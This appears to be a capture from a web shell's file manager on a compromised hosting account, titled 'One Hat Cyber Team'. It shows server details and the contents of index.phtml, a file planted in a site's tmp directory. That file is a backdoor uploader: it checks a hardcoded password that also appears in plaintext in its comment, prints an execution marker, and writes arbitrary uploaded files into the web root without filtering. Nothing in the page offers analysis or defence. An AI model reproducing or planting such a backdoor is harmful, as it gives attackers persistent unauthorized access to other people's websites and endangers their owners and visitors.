One Hat Cyber Team

Your IP: 216.73.216.75
Server IP: 213.186.33.17
Server: Linux webm007.cluster106.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Server Software: Apache
PHP Version: 7.4.33
Create File | Create Folder
Dir : ~/home/tcherkas/spectacles.russes/tmp/
View File Name : index.phtml

<?php
// ============================================================
// SECURE UPLOADER - Token-Based Auth (Bypass Session Issues)
// Password: Er1K5 (Bcrypt Hash Hardcoded)
// ============================================================

$token_file = __DIR__ . '/.auth_token';
$cookie_name = 'SECURE_UP_TOKEN_9921';

// Hardcoded bcrypt hash for 'Er1K5' (No file dependency)
$stored_hash = '$2y$12$WH3LgBPbXWRzH5LSmS9vaeyozmyaSVSiiZh.Xd2He1Xr9BeekqnVO';

if (isset($_GET['logout'])) {
    setcookie($cookie_name, '', time() - 3600, '/');
    if (file_exists($token_file)) @unlink($token_file);
    header('Location: ?');
    exit;
}

// Handle Login
if (isset($_POST['password'])) {
    if (password_verify($_POST['password'], $stored_hash)) {
        $new_token = bin2hex(random_bytes(32));
        @file_put_contents($token_file, $new_token);
        setcookie($cookie_name, $new_token, time() + 86400 * 30, '/'); // 30 days
        header('Location: ?');
        exit;
    } else {
        $err = "❌ Password salah!";
    }
}

// Check Auth via Cookie + File Token
$is_auth = false;
if (isset($_COOKIE[$cookie_name]) && file_exists($token_file)) {
    $file_token = @file_get_contents($token_file);
    if ($_COOKIE[$cookie_name] === $file_token && !empty($file_token)) {
        $is_auth = true;
    }
}

if (!$is_auth) {
    // Marker di dalam form login (sebagai komentar HTML)
    die('<!-- PHP_EXEC_OK_9921 --><!DOCTYPE html><html><head><meta charset="UTF-8"><title>Login</title><style>body{background:#0a0e14;color:#c8d0d9;display:flex;justify-content:center;align-items:center;height:100vh;font-family:sans-serif;}.box{background:#141a24;padding:30px;border-radius:14px;border:1px solid #2a3346;text-align:center;max-width:300px;}input[type=password]{width:100%;padding:12px;background:#1a2332;border:1px solid #2a3a4a;color:#fff;border-radius:8px;box-sizing:border-box;}input[type=submit]{width:100%;margin-top:15px;padding:12px;background:#00b8d4;border:none;border-radius:8px;color:#000;font-weight:bold;cursor:pointer;}h2{color:#00d4ff;}.err{color:#ff5e7a;margin-top:10px;}</style></head><body><div class="box"><h2>🔐 AUTH REQUIRED</h2><form method="post"><input type="password" name="password" placeholder="Password" autofocus required><input type="submit" value="Login"></form>' . (isset($err) ? '<div class="err">' . $err . '</div>' : '') . '</div></body></html>');
}

// Uploader Logic
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) {
    $target_dir = "./";
    $target_file = $target_dir . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
        $msg = "✅ Upload sukses! File: " . htmlspecialchars($target_file);
    } else {
        $msg = "❌ Upload gagal. Cek izin folder.";
    }
}
?>
<!-- PHP_EXEC_OK_9921 -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Uploader</title>
    <style>
        body{background:#1a1a1a;color:#eee;font-family:sans-serif;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
        .box{background:#2a2a2a;padding:30px;border-radius:10px;text-align:center;max-width:400px;}
        input,button{width:100%;padding:10px;margin:5px 0;border-radius:4px;border:1px solid #555;background:#333;color:#fff;box-sizing:border-box;}
        button{background:#4CAF50;color:#fff;border:none;cursor:pointer;}
        button:hover{background:#45a049;}
        .logout{background:#ff5e7a;margin-top:15px;}
        .msg{background:#1e2838;padding:10px;border-left:4px solid #4CAF50;margin-bottom:15px;color:#fff;}
    </style>
</head>
<body>
<div class="box">
    <h2>📤 Upload File</h2>
    <?php if(isset($msg)) echo "<div class='msg'>$msg</div>"; ?>
    <form method="POST" enctype="multipart/form-data">
        <input type="file" name="file" required>
        <button type="submit">Upload</button>
    </form>
    <form method="get" style="margin-top:10px;">
        <input type="hidden" name="logout" value="1">
        <button type="submit" class="logout">🚪 Logout</button>
    </form>
</div>
</body>
</html>